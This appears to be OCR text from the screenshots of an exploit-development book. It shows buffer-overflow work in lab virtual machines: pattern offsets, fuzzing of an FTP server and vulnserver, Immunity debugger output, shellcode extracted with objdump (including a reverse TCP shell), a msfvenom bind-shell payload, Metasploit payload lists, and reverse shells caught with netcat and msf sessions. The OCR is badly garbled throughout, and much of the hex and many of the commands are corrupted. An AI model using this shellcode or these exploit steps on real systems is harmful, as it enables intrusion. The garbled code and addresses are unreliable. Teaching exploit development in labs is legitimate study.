Ae6Ae7AeBACIATOATIAT2ATIATAAFSATEATTATEATIAGOAG1AG2AG3Ag4A]SAGBAGTAGE
Ag9AhOAR1Ah2Ah3Ah4Ah5ANGAN7ARBANOAIOA11A12A13A14A15A16A17A18A19A]0AT 1
Aj2Aj3A]4Aj5A]6A17A]8A] 9AkOAK1AK2AK3AK4AKSAKGAKTAKBAKIALOALIAT2AT3ALA
AL5AL6AL7ATBALIAMOAN1AN2AN3AT4ANSAN6AN7ANBAT9ANOAN1AN2AN3AN4ANSANGANT
AnBAN9A00A01A02A03A04A05A06A07A0BA0IAPOAD 1AD2AP3ADAARSAPGAP7ADBAPIAQE
AQ1Aq2Aq3Aq4Aq5AQ6Aq7AGBAGIATOAT1AT2Ar3AT4ArSATGATTAr8Ar9ASOAS1AS2A53
As4AS5ASGASTASBASIATOAT1AT2AL3AT4ATSATOAT7ATBATIAUBAUTAUZAUSAUSAUSAUG
AUTAUBAUIAVOAVIAV2AVIAVAAVSAVEAVTAVBAVIAWOAW 1AW AWSAWAAWS AWGAWT AWBAWS
AXOAX1AX2AX3AX4AXSAX6AXTAXBAXIAYOAY 1Ay 2Ay3Ay4AYSAY6AY TAYBAYIAZ0AZ1AZ2
AZ3Az4AZ5A26AZ7AZ8AZ9Ba0Ba 1Ba2Ba3Ba4BasBa6Ba7BaBBagBboBb18b2Bb3Bb4BbS
Bb6Bb7Bb8BbIBCOBC1BC2BC3BC4BC5BCOBC7BCBBCIBAOBA1Bd2Bd3BA4BA5Bd6BA7BdS
Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8BeIB OB 1Bf2BF3B4Bf5Bf6Bf7Bf8BIBgOBYL
Bg2Bg3Bg4Bg5Bg6Bg7BgBEgIBNOBN1BN2BN3Bh4Bh5Bh6BN7Bh8BNIB10B1 1812813814
Bi5B16B17B18B19B]0B] 18] 2838 4B 58] 6B] 78] 8B 9BkOBk 1Bk 2Bk3BK4BKSBK6BKT
Bk8BK9IBLOB11B12B13814B15816817B18B19BMOBN1BN2BN3BN4BNSBNGEN7BN8BNIBNG
Bn1Bn2Bn3Bn4Bn5Bn6BN7BNBBNIB0OB01B02B03B04B05B06B07B0BB09IBPOBP1BP2BP3
Bp4Bp5Bp6Bp7Bp8BP9BGOBG1Bq2Bq3BG4BqSBq6Bq7Bq8B9BroBr1Br2Br3BraBrsare
Br7Br8BroBsOBs1Bs2B53B54Bs5Bs6Bs7BSBBS9BLOBt1Bt2Bt3BL4BL5BL6BL7BLEBTY
BuOBU1BU2BU3BU4BUSBUGBU7BUBBUIBYOBY 1BY2BY3BV4BV5BYGBY 7BVBBYIBWOBWIBW2
Bw3Bw4BW5BW6BW7BWBBWIBXOBX1BX2BX3BX4BX5BX6BX7BX8BXIBY 0By 1By 2By 3By 4BYS
By6By7By8By9Bz0B21B72B23B24B25B26B27B28B29Ca0CalCa2Ca3CadCa5Ca6Ca7Cas
€a9CboCh1Cb2Cb3Ch4C5ChECH7ChECHICCOCCICC2CC3CCACC5CCBCCTCCBCCICDCdL
€d2Cd3Cd4Cd5Cd6Cd7CdBCdICe0Ce1Ce2Ce3Ce4Ce5Ce6CeTCeBCeICTOCTICT2CFICTA
Cf5CF6CF7CFBCFICgOCY1Cg2Cg3Cg4Cg5Cg6Cg7CgBCgIChOCh1Ch2Ch3ChaCh5Ch6Ch7
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# ./pattern_create.rb -1 500
AadAalAa2Aa3AadAa5Aa6Aa7AaBAaIAbOADIAD2AD3ADAADSAD6ADTADEAD
9ACOACIAC2AC3ACAACSACOACTACBACIAdOAd 1Ad2Ad3Ad4AdSAd6AdTAIBA
d9AeoAe1Ac2Ae3Ae4AeS5ACOACTACBACIATOATIAT2ATIATAATSATOATTATE
AT9AGOAg1Ag2Ag3Ag4AG5AEAG7AGBAGIANOAN 1Ah2AN3AN4ANSAR6ANT AR
8Ah9A10A11AI2A13A14A15A16A17A18A19A]0A] 1AJ2A13A] 4A]5A] 6A  7A
j8Aj9AKOAK1Ak2AK3AK4AKSAKGAK7AKBAKIATOALIAL2AT3AT4ATSAT6ALT
AT8AL9AMOAM1AM2AM3AM4ANSANGAN7ANBAN9ANOAN 1AN2AN3AN4ANSANGAN
7An8AN9A00A01A02A03A04A05A06A07AOBAOIAPOAD1AD2AP3AD4ADSADEA
p7€rBAp9Aq0Aq1Aq2Aq3Aq4Aq5Aq

#
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#

# python exploit.py

#

# nc 192.168.129.128 4321

Microsoft windows [Version 6.1.7601]

Copyright (c) 2017 Computer Media Corporation. ALl rights reserved.

C:\Users\test\Desktop>ipconfig
ipconfig

Windows TP Configuration

Ethernet adapter Bluetooth Network Connection

Media State .

f b e et Media disconnected
Connection-specific DNS Suffix

Ethernet adapter Local Area Connection

Connection-specific DNS Suffix Tlocaldomain

Link-local IPv6 Address .. : fe80::2dc:564a:e448: f19f%11
IPv4 Address. . . . . . . . ... : 192.168.129.128

Subnet Mask . 255.255.255.0

Default Gateway .

C:\Users\test\Desktop{]
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[14:42:031 Access violation when executing [414141411
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stack@ubunt:

$ cat /proc/5164/maps

00400000-0040b000 r-Xp 00000000 08:01 262170
00602000-0060b00 r--p 00002000 08:01 262170
0060b0O0-0060cO00 rw-p 0000bOO 08:01 262170
0060c000-0062d000 rw-p 0000000 00:00 O

7FfF£7333000-7FFff7a15000
7Fff7215000-7FFFF7bcfO00
TFFFF7bcf000-7FFFF7dcfo00
7TFFFF7dcf000-7FFFF7dd3000
7FfF£7dd3000-7FFFF7dd5000
7£f£7dd5000-7FFFF7dda00o
7Ff£7dda000-7FFFF7dfdooo
TFFFF7fdd000-7FFFF7fe0000
TFFFF7FF6000-7FFFF7FF8000
TFFFF7FFB000-7FFFF7fFa000
TFFFF7FFa000-7FFFF7fFc000
TEFFF7FFC000-7FFFF7FFd000
TFFFF7FFd000-7FFFF7fFe000
TFFFF7ffe000-7FFFF7FFFO00
TFFFFffde000-7FFFFFFFFo00

stack@ubuntu:~$

rw-p

00000000
00000000
001ba0oe
001ba0oe
001be000
00000000
00000000
00000000
00000000
00000000
00000000
00022000
00023000
00000000
00000000

08:
08:
08:
08:
08:
00:
08:
00:
00:
00:
00:
08:
08:
00:
00:
FEFFFFFfff600000-FFFFFFfFff601000 r-xp 00000000 00:00 ©

o1
o1
o1
o1
o1
00
o1
00
00
00
00
o1
o1
00
00

136418
530854
530854
530854
530854
)
530830
o
0
o
)
530830
530830
0
)

/bin/cat
/bin/cat
/bin/cat
[heap]
Jusr/lib/1
/1ib/x86_6
/1ib/x86_6
/1ib/x86_6
/1ib/x86_6

/1ib/x86_6

[vvar]
[vdso]

/1ib/x86_6
/1ib/x86_6

[stack]
[vsyscall]
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# objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2
| cut -f1-7 -d* ' | tr-s ' | tr \t' ' ' | sed 's/ $//g" | sed 's/ /\\\x/|
g' | paste -d "' -s
\Xx48\x31\xCcO\x48\x83\xcO\x01\x48\x89\XC7\X68\x72\x6C\x64\x0a\x48\xbb\x48\x65\x6¢|
AX6c\x6F\x20\x57\x6F\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x0c\x0F\x05\x48\x31|
\xﬁ)\xAB\XB3\xco\x3c\x45\x31\xff\x0f\x05

#
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pen

Llinux/ppc64le/meterpreter reverse https
linux/ppc64le/meterpreter_reverse tcp
Linux/x64/exec
linux/x64/meterpreter/bind_tcp
linux/x64/meterpreter/reverse_tcp
linux/x64/meterpreter_reverse http
linux/x64/meterpreter_reverse https
linux/x64/meterpreter_reverse tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell bind tcp_random port
port: 'nmap -sS target -p-'
Tinux/x64/shell_find_port
linux/x64/shell_reverse tcp
linux/x86/adduser

Linux/x86/chmod

inux/x86/exec

Run the Meterpreter / Mettle server payload (stageless)
Run the Meterpreter / Mettle server payload (stageless)

Execute an arbitrary command

Inject the mettle server payload (staged). Listen for a
Inject the mettle server payload (staged). Connect back
Run the Meterpreter / Mettle server payload (stageless)
Run the Meterpreter / Mettle server payload (stageless)
Run the Meterpreter / Mettle server payload (stageless)
Spawn a command shell (staged). Listen for a connection

connection
to the attacker

Spawn a command shell (staged). Connect back to the attacker

Listen for a connection and spawn a command shell

Listen for a connection in a random port and spawn a command shell. Use

Spawn a shell on an established connection

Connect back to attacker and spawn a command shell

Create a new user with UID 0

Runs chmod on specified file with specified mode

Execute an arbitrary command
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[16:31:117 Access violation when executing [414141411





images/00352.gif
751R425F |
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751DB6SE
75321000
75611000
75678351
75820000
75827807
75835CDB|
75911000
75920783
75951000
75970000
75sC1000]
755C3C77
758C0000|

75Cpaoa|
75crataz
75D53165
7sE51000]
75E8B7AC|
75F40000|

JMp ESP
e EsP

e EsP

o

LOOPD SHORT msvert.75611009
e ESP

ss8 or, 8

20D =50, 4

e ESP

nop

e EsP

LEave

SBB BYTE PR DS:(EDXI,DL
nop

e ESP

NG =X

Qe DHORD PTR SS:[=BR+72],TBR
e ESP

e EsP

ENTER 7163,77

e EsP

ciDE

(Tnivial CPU selection)
(Tnivial CPU selection)

(Tnivial CPU selection)
(Tnivial CPU selection)

(Tnivial CPU selection)
(Tnivial CPU selection)
(Tnivial CPU selection)
(Tnivial CPU selection)

(Tnivial CPU selection)

(Tnivial CPU selection)

(Tnivial CPU selection)

(Initial CPU selection)

C:\Windows\syswow64\ole32 d1l
G- \Wlindows\ syswonEa\ales2 a1l
G- \Wlindows\ syswonEe\ales2 a1l
C:\Windows\syswowsa\USPLO 411
C:\Windous\sysuowsd\msvers 411
C:\Windows\ syswonEa\msvers_d1l
C:\Windows\syswows4\USER32 411
C:\Users\cest\6a7a£6£72dcbbESb25 056z
G- \Windows\ syswowE4\USERS2 d11
C:\Windous\syswowsa\HS2_32 11
G- \Windows\ syswowE4\#S2_32 d11
C:\Windows\syswowsa\LPK d11
C:\Windous\systens2\ 111432 DIT.
C:\Windows\sysuowsa \MSCTE 411
G- \Wlindows\ syswowE4\MSCTE d11
C:\Windous\sysuowsa\GDI32 411

C:\Windous\syswowsd\kernel32 a1l
G- \Wlindows\ syswowEe\ kerne132 d11
G- \Windows\ syswowEe\ kerne132 d11
C:\Windows\syswowd\KERNELEASE 11
G- \Wlindows\ syswowE4\KERNELEASE d11
C-\Windows\ syswow64\RECRT4 .d11
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stack@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space
2
stackgubuntu:~$ I
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# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep dup2
#define _ NR dup2 33

:
‘0
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>>> import socket

>>>

>>> socket.inet_aton("192.168.238.1")[::-1]
'\X01\xee\XaB\Xco'

-
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#
# ./pattern offset.rb -q 0x41386941 -1 300
[*] Exact match at offset 264

# [
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# objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -
f1-7 -d' ' | tr-s 't | tr \t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x0|

01x00\x00\X0T\X05\xbB\X3C\X00\X00\X00\XbT\XO1\X00\XBO\X00\XOT\XO5\ X68\X65\X6C\X6C\XET\X20\X
7T\X6T\XT2\X6C\X64\x0a

#
#[]
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# msfvenom -a x64 --platform linux -p linux/x64/shell/bind tcp -b "\xee" -f c
Found 2 compatible encoders

Attempting to encode payload with 1 iterations of generic/none

generic/none failed with Encoding failed due to a bad character (index=19, char=ex00)
Attempting to encode payload with 1 iterations of x64/xor

x64/xor succeeded with size 119 (iteration=0)

x64/xor chosen with final size 119

Payload size: 119 bytes

Final size of c file: 524 bytes

unsigned char buf[] =
"\X48\X31\XCO\x48\X81\XeI\XFE\XFFA\XFF\XFF\x48\xBA\XO5\xe FAXFF"
\XFFAXFF\x48\xbb\xdd\x0a\Xx0B\Xe9I\X70\X39\XF7\ X2 1\ x48\Xx31\x58"

\X27\x48\x2d\x FB\XFFAXFFAXFF\Xxe2\xF4\Xb7\X23\ x50\ x70\x1a\x3b"
"\xa8\x4b\xdc\x54\x07\xeC\x38\xae\xa5\ xe6\ xd9\ x2e\x0a\xeI\X61"
"\x65\xbf\xa8\x3b\x60\x18\xb3\x1a\x08\xaf\x2e\xd8\x53\x62\xdb"
\X28\x36\xF2\X69\x4b\X60\x23\Xb1\X7 F\X3C\Xa7\X77\xB2\X60\x01"
\Xb1\xe9\xBF\xe7\X69\x54\XxdC\Xx45\XdB\XbI\X53\ xd5\ X6O\XB7\xb8"
"\ﬁof\xeﬁ\x75\x71\xS1\xﬁB\x4a\x55\x07\xec\x8f\xdf\xf7\x21“;

#
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# nc 192.168.129.128 21
220 FreeFloat Ftp Server (Version 1.00).
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il
# python -v

Python 2.7.13

#

# python

Python 2.7.13 (default, Jan 19 2017, 14:48:08)

[6CC 6.3.0 20170118] on linux2

TypeD“help", “copyright”, "credits” or "license" for more information
>>>
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oxe
Ox7TF11ffdfag -=> 0100000 (<_start+17>: mov  r8d,ox4)
Coi00nn (<additions: add  rs,r9)

ox1

ox3

ox0

0x0

ox0

ox0
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stack@ubuntu:~$
stack@ubuntu:~$ ./execve

5
s
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:

Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004006ad in main ()
gdb-peda$ ¢

Continuing.

shellcode Length: 32

process 4326 is executing new program: /bin/dash
$ cat /etc/issue

[New process 4335]

process 4335 is executing new program: /bin/cat
Ubuntu 14.04.5 LTS \n \1

$ [Inferior 2 (process 4335) exited normally]
Warning: not running or target is remote
gdb-pedas |
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Hardware | Options |

Virtual Machine Settings

| Device Summary
B Memory 512MB

4 Processors 1

8) Hard Disk (SCSI) 6 GB

(5 CD/DVD (IDE)  Auto detect

3 Network Adapter Host-only

B Sound Card Auto detect

& Printer Present
i USB Controller  Present
W Display Auto detect

Device Status
O Connected

Connect at power on

Network Connection
© Bridged: Connected directly to the physical network
o
© NAT: Used to share the host's IP address
® Host-only: A private network shared with the host

licate physical network conne

O Custom: Specific virtual network

(Beunvmnex

O LAN segment: A private network shared with other standard VMs
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#

# objdump -M intel -D hello-world | grep '[0-9a-fl:' | grep -v 'file' | cut -f2
: | cut -f1-7 -d' * | tr-s ' ' | tr \t' ' ' | sed 's/ $//9' | sed 's/ /\\\x/
g' | paste -d ' -s

\Xeb\X1F\x5e\xbO\X01\X48\x3 1\ X F\x48\XB3\XCT\XO1\x48\x31\xd2\x48\xB3\XC2\x0OC\XOF
\XB5\x48\X31\XCO\X4B\XB3\XCO\X3C\x48\X31\XTF\x0F\x05\xeB\xdc\xFF\xF FAXFF\x68\x65
\xﬁc\xﬁc\xﬁf\sz\x77\x6f\x72\x6c\x§4\xoa

#
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00301283
o0s0126n
00301250
00301255
00301255
00301280
o0s01283
00301233
00301280
o0s01285
00301283
oos012c0
oos012¢s
o0s012¢7
o0s012C3
00301200
00301205
00301207
o0s01208
00301203
00301208
00301208
o0s0120C
00301200
o0s01208
00301208
o0s01280
HoRbA R

T c70424 010000080V DHORD PTR Ss: (2593,1
C FF1S 04614000 . DWORD PTR DS: [<Gmavert._ sst_spp £ mevert._ sst_spp type
D E8 GBEDFFFF  CALL buffers.00401000

 8D7426 00 TZA EST,DWORD PTR DS: [EST]
© 8DBC27 000000! LEA EDI, DWORD PTR DS: [DT]
" eac 1c sus =sp/1C

© c70424 0200000M0V DHORD BTR S8: (2591,2

C FF1S 04614000 i1 DWORD PTR DS: [<Gmevert._sst_spp £ mevert__ sst_spp typs

_ Ea 4BEDFFEF  CALL buffers.00401000
C 8D7426 00 IEA EST,DWORD PTR DS: [EST]

_ aDBC27 000000( LEA EDI, DWORD PTR DS: [EDT]

AL 1C614000 MOV EAX,DHORD PTR DS:(<smavert.atexit>]
D EEm0 a0 EAX

8s%6 MoV EsT,E51

- BDBC27 000000( LEA EDI, DHORD PTR DS: [EDT]

AL 10614000 MOV EAX DWORD PTR DS: [<imsvert._omexits:
D EEmo 2% X

0 xop
50 xop
0 xop
50 xop
50 xop
50 xop
50 xop
50 xop
0 xop
$ AL 0C202000 MOV EAX,DWORD PTR DS:[40200C]
7 stw TRET EAX EAX






images/00006.jpeg
Variable x

Address
of print(‘After
caling
function2

Variable y

Top of the stack

<





images/00206.jpeg
>>> import socket

>>>

>>> hex(socket.htons(1234))
' 0xd204"

-y
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stack@ubuntu:~$ cat /proc/5341/maps
00400000-0040b00O r-Xp 00000000 08:01 262170
00602000-0060b000 r--p 00002000 08:01 262176

0060b000-0060c000 rw-p 0000bOAO O

01231000-01252000 rw-p 00000000 00:00 O

7fd6b22d5000-7fd6b29b7000
7fd6b29b7000-7fd6b2b71000
7fd6b2b71000-7fd6b2d71000
7fd6b2d71000-7fd6b2d75000
7fd6b2d75000-7fd6b2d77000
7fd6b2d77000-7fd6b2d7c000
7fd6b2d7c000-7fd6b2d9F000
7fd6b2f83000-7fd6b2f86000
7fd6b2f9c000-7fd6b2f9e000
7fd6b2f9e000-7fd6b2f9F000
7fd6b2fof000-7fd6b2fa0000
7fd6b2fa0000-7fd6b2fa1000
7ffe58676000-7ffe58697000
7ffe586F2000-7ffe586F4000
7ffe586F4000-7fe586F6000

r-xp
FEFFFFFFFF600000- FFFFFFFff601000 r-xp 00000000 00:00 O
stack@ubuntu:~$

00000000
00000000
001ba0oe
001ba0oe
001be000
00000000
00000000
00000000
00000000
00022000
00023000
00000000
00000000
00000000
00000000

1 262170

08:01
08:01
08:01
08:01
08:01
00:00
08:01
00:00
00:00
08:01
08:01
00:00
00:00
00:00
00:00

136418
530854
530854
530854
530854
)

530830
o

)

530830
530830

/bin/cat
/bin/cat
/bin/cat
[heap]
Jusr/lib/1c
/1ib/x86_6¢
/1ib/x86_6¢
/1ib/x86_6¢
/1ib/x86_6¢

/1ib/x86_64

/1ib/x86_6¢
/1ib/x86_6¢

[stack]
[vvar]
[vdso]
[vsyscall]
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gce heap.c -o heap

#
#
#
# ./heap abcdef
#
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# nc -1p 1234

id

uid=1000(stack) gid=1000(stack) groups=1000(stack),4(adn),24(cdrom),27(sudo),30(dip),46(plugd
ev),108(1padnin) , 124(sambashare)

cat /etc/issue
Ubuntu 14.04.5 LTS \n \1

]
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# gcc buffer.c -o buffer
#
# ./buffer aaaaaaaaaaaaaa
#
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=> 0x4006ad <main+4>: sub  rsp,0x20
6x4006b1 <main+8>: mov  DWORD PTR [rbp-0x14],edi
0x4006b4 <main+1l>: mov  QWORD PTR [rbp-ex20],rsi
©x4606b8 <main+15: mov DWORD PTR [rbp-0x4],0x1
0x4006bf <main+22>: mov  rax,QWORD PTR [rbp-6x20]
[---cmmoe- eeseeee-e-coooooo-ostack St
0606 Ox7FFFFFFfdefd --> X0
0008 Ox7FFFFffdefs --> 0x7F17{7a35745 (<_libc_start_main+245>: mov e
di,eax)
8016| Ox7fffffffdfoe
e24| ox7fFfFFffdfes
overflow/exec/exec")
0832| OX7FFFFFffdf1e
8048| OX7FFFFfffdfis 0400529 (<main>: push  rbp)
0648| Ox7FFFFffdr20 --> X0
0056| 0x7fFFFffdf28 --> Oxceazbbeebcds163F
[ 1]

Legend: codc, data, rodata, value

ox0
OX7TFFFFFFFdfds --> ox7FFFFfffe3sb ("/home/stack/buffer

©x200000000

Breakpoint 1, 0x00000000004006ad in main ()
gdb -pedas
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sTs
sts
sTe
st7

rsT

7TEFAF000
00000000
7777¥7EA nedll DbgUiRemoteBreakin
00000000
oz61575C
oz615rEs
00000000
00000000
776F000D nzdll.776F000D
=5 0028 s2bic o (FEEEEEER)
s 0023 32bic o (FEEEEEEE)
S5 0028 32pic 0 (seEEEEEE)
D5 0028 s2bic o (FEEEEEEE)
=5 0053 32bic 7EFRRO00 (FFE)
s 0028 32bic 0 (FEEEEEEE)
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Server User Name: adnin

Server Password:

Server Control Port: o121
[¥] Enable Web Server on Port: 80

Enable Paralel Batch Tasks: |1 F

P——
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Examining registers
EAX conteins normal pattern :
Examining SEH chain

ox3g6asea7

(orser 4153)

SEH record (nseh field) at 0x04366fac overwritten with normal pattern : 0x34664633 (offset 061)
Examining scack (entire stack) - looking for cyclic pattern

Walking stack from 0x04365000 to 0x0497fffc (0x000laffe byces)

0x043652a1 - Contains normal cyelic pattern at ESPHOdl (+209) : offset 2, length 4998 (-> 0x0496"
004367825 - Contains normal cyclic pattern at ESPHOxl9a9 (+6569) : offset 1, length 4999 (-> Ox0:
Examining sack (entire stack) - looking for pointers to cyclic pactern

Walking stack from 0x04365000 to 0x0437fffc (0x000laffe byces)

0x043654c5 - Pointer into normal cyelic pattern at ESP-O0xa38 (-2616) : Ox04966fb0 : offset 4065, I
004965534 - Pointer into normal cyclic pattern at ESP-Oxdce (-2508) : Ox04966fb0 - offset 4065, I
0x03655ac - Pointer into normal cyclic pattern at ESP-0x954 (-2388) : Ox04966fb0 : offset 4065, I
004365768 - Pointer into normal cyclic pattern at ESP-O0x798 (-1944) : Ox04966fb0 : offset 4065, I
004965895 - Pointer into normal cyclic pattern at ESP-Ox668 (-1640) : Ox04966fac : offset 4061, 1
0x04365ca4 - Pointer into normal cyclic pattern at ESP-Ox2Sc (-604) : 0x04967040 : offset 4209, le
0x0365cde - Pointer into normal cyclic pattern at ESP-0x224 (-548) : Ox0263f0ec : offset O, lengt
0x04365ce0 - Pointer into normal cyclic pattern at ESP-0x220 (-544) : 0x04967030 : offset 4193, 1l
0x0365edc - Pointer into normal cyclic pattern at ESP-Oxbd (-180) : 0x04967040 : offset 4209, ler
0x04365ede - Pointer into normal cyclic patvern at ESP-0x24 (-36) : Ox04966fac : offset 4061, lenc
0x04365eec - Pointer into normal cyclic pattern at ESP-Oxld (-20) : 0x0263f0ec : offset O, length
004965225 - Pointer into normal cyclic pattern atv ESPHON2S (+40) : 0x0263f0ec : offset O, length
004965245 - Pointer into normal cyclic pattern at ESPHOxdS (+72) : 0x04967030 : offset 4193, lenc
004965250 - Pointer into normal cyclic pattern at ESPHOxSO (+80) : 00967030 : offset 4193, lenc
004965254 - Pointer into normal cyclic pattern at ESPHOxSA (+84) : 0x0263f0ec : offset 0, length
0x04965£74 - Pointer into normal cyelic pattern at ESPHOx74 (+116) : 0x04967030 : offset 4193, ler
0x0436528e - Pointer into normal cyclic pattern at ESPHOxBe (+140) : 004967200 : offset 4657, ler
004967444 - Pointer into normal cyclic patvern at ESPHOxlSd (+5588) : 0x02623%0c : offset O, ler
0x04967514 - Dointer into normal cyclic pattern at ESPHOXLE14 (+5652) - 0x04967220 - offset 4689,
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00452038 72 65 61 74 65 20 73 65
0052080 72 76 65 72 20 63 6F 6E
00352088 78 72 6F 6C 6C 65 72 28
00452050 0 00 00 00 45 6E 76 61
00452058 6C 69 64 20 63 6F 6D 6D
00852060 61 6E 64 20 6C 63 6E 65
00452068 0A 00 00 00 25 2E 5C 28
00452070 2E 5C 70 6C 61 74 66 6F
00352078 72 6D 5C 6C 63 62 70 61 zm\libps
00852080 6C 5C 53 43 41 S¥ 43 6F 1\SCA Co
0052088 6E 66 69 67 4F 62 GA 2E nfigobj
00452050 8 00 00 00 44 75 70 &C h.. Dupl

[15:21:341 Access violation when executing [424242421





images/00420.jpeg
RBP:
RSP

PTR
RIP:

RO :

ox7fFFffffdcso
Ox7FFFFFFFdoss
5:0x10)
Ox7FFF7a4bc37 (<_GI_raise+55>:
0x786e2f786e2f776F ('ow/nx/nx')
0x0

> ox7ffff7bodofb ("

cmp

tack smashing detected”)
> 007777700t 000 (<__GI_abort+328>: nov

rax,OxFFFFFFFFFFFFFO00)





images/00100.jpeg
Ox7Tffffffdfas --> 0100000 (<exit_ten>: mov  eax,0x3c)
Cii0000 (<addition+3>:  ret)

ox6

ox2

ox0

ox0

0x0

ox0

0x0

0x0
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Burp Intruder Repeater Window Help

(otgst SR e | scasies | nies | nepesies [seauarces | bncuins [ Gammpare:

isisanil e isiory | wessockes siory | ontions |

(4] Reauest to hgp192 160,129 12880
S oop | (Tiareaptiman | [ acton
i e )

POST /login HTTP/1.1

Host: 192.168.129.128

User-Agent: Mozilla/s.0 (X11; Linux x86_64; rvi52.0) Gecko/20100101 Firefox/52.
Accept: text/html,application/xhtnl+xnl,application/xul;q=0.9,+/+:q=0.8
Accept-Language: en-US,en;g=0.

Accept-Encoding: gzip. deflate

Referer: http://192.168.129.128/login

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-wa-forn-urlencoded

Content-Length: 147

Usernane=ARAAAARARAARAARAAAARAGDaS SHOT

AAAAAARARAAAARARAARARAARARAARARAARARA
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=> 0x4005ff <main+4>: sub  rsp,0x20
0x400603 <main+8>: mov  DWORD PTR [rbp-0x14],edi
0x400606 <main+11>: mov  QWORD PTR [rbp-ex20],rsi
0x40060a <main+15>: mov  DWORD PTR [rbp-0x4],0x1
0x400611 <mains22>: MoV rax,QUORD PTR [rbp-0x20
[- - - - -----stack . s
0606 OX7FFFfffdect --> X0
0008 Ox7FFIFFffdees --> 0x771777230745 (<_libc_start_main+245>:
di,eax)
0016] OX7FFFffffdefo
024| OX7FFfFfffdefs
overflow/another /buffer”)
0032| ©x7Tf71df00 --> 6x200000000
8040| OX7TFIFFffdfes --> 0x40057b (<main>: push  rbp)
0048| Ox7FFFFFffdf10 --> X0
0056] 0x77FIFFfdf18 --> 0xd448a38f8ccas7ds

-> 0x0

s

PR e T e e s—

Legend: code, data, rodata, value

Breakpoint 1, 6x00000000004005Ff in main ()
db - pedas

mov

XTFFFFFFFdfcs --> Ox7FFFffffe3ze ("/home/stack/buffer-
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# gcc exevce.c
#

# ./a.out

Kali GNU/Linux Rolling \n \l

#
Ay
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>>> string =
>>>

>>> string[::-1].encode("hex')
'68732f6e69622f2f"

> []

//bin/sh’
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OxFFFFFFFFFFFFFffo
ox0

ox0

0x0

0x0

0x0

ox0
ox7fFFFfffe0sn --> Oxl

CLANnne (< start+ld>: shl  rax,0x4)

0x0

ox0

0x0

0x0

0x0

ox0

0x0

R15: OX0

EFLAGS: 8x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
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# ./a.out

shellcode Length: 50
hello world

#0
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Shellcode
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R10: Ox0

R1l: Ox0

F12: ox0

R13: 0x0

R14: 0x@

R15: 0x0

EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
code

0x400098 <code+22>: add  rax,0x3c

0x40009c <code+26>: xor  rdi,rdi

0x40009f <code+29>:

0x4000a1 <string>: call  0x400082 <code>

0x4000a6 <hello world: push  OXx6f6c6C65

0x4000ab <hello world+5>: and  BYTE PTR [rdi+ox6f],dh

0x4000ae <hello world+8>:  jb 0x40011c

0x4000b0 <hello world+10>:  or al,BYTE PTR fs:[rax

No argument

-~ stack
0000| Ox7Fffffffe190

> ox1
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gdb-pedat run $(cat input.txt)

Starting program: /home/stack/buffer-overflow/exploit-development/buffer $(cat i
nput. txt)

process 8373 is executing new program: /bin/dash

s
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Compilers auto-detection

Note: Afer auto-detection, ateast one compier's master path s st empty and therefore invald,
Inspect the st below and change the compler's master path later i the compler optons.
Select you favourite default compier here:

Compier Status
(GNU GCC Compler Detected

Current defout compler:  GNU GCC Compier

Setas default
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©di-pedol peda hexprint ©x6000d8

0x00600008 1 "\X6B\X65\X6C\X6C\X6F\X20\X74\X68\X65\X72\X65\X02\ 00\ X0O\ X0O\ 00"
(0o peda hexdump 0x6000d8

UxunﬁUOUW“D: 68 65 6c 6¢ 6T 20 74 68 65 72 65 0a 00 00 00 00 hello there.....
3db-pedat
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Gdbipedat find "/bin/ls”
searching for '/bin/ls' in: None ranges
Found 3 results, display max 3 items:
rop : 0x400657 --> 8x736c2f6e69622f (' /bin/ls'
rop : 0x600697 --> Ox736c2f6e69622f ('/bin/ls')
mapped : 0x77 777775005 ("/bin/lsThe buffer content 1094795585,
B")
gdb-pedas
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msf exploit(handler) > sessions 1
[+] starting interaction with 1...

cat /etc/issue
Ubuntu 14.04.5 LTS \n \1

i)
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$ ./fuzzing.py
Welcome to Vulnerable Server! Enter HELP for help.

TRUN COMPLETE
GOODBYE

s [
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71 CAUsers\test\another\shell. exe
fshel1code Length: 355
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msf exploit(handler) > sessions 2
[+] starting interaction with 2...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2017 Computer Media Corporation. ALl rights reserved.

C:\Users\test\anothers{]
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# objdump -M intel -D reverse-tcp | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -fl
-7 -d' | tr-s | tr\t' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
\x48\x31\xcO\x48\x83\xCcO\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xF6\x48\xfF\xCc6\x48\x31\xd2\
x0F\x05\x48\x89\xC7\x48\x31\xcO\x68\xCO\xa8\xee\x01\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x]
48\x31\xd2\x48\x83\xc2\x10\x48\x31\xCO\x48\x83\xcO\x2a\x0F\x05\x48\x31\xCO\x48\x83\xCO\x21\x4]
8\x31\xf6\x0\x05\x48\x31\xcO\x48\x83\xcO\x21\x48\xFf\xCc6\x0F\x05\x48\x31\xCcO\x48\x83\xCO\x21|
\x48\xfF\xc6\x0F\x05\x48\x31\xCO\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\
x4ﬁ\xBS\xe7\x50\x57\x4B\xBQ\xe&\x4K\xBB\ch\th\xOf\xOS

#
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Legend: code, data, rodata, value
Stopped reason: 1.iil

0x0000626262626262 in 2?2
gdb-pedas

Dump of assembler code for function shell_pwn:

©x000000000040060d
©X000000000040060e
0x0000000000400611
©x0000000000400615
©x000000000040061F
©X0000000000400623
0x000000000040062d
©x0000000000400631
©x000000000040063b
©X000000000040063F
©X0000000000400649
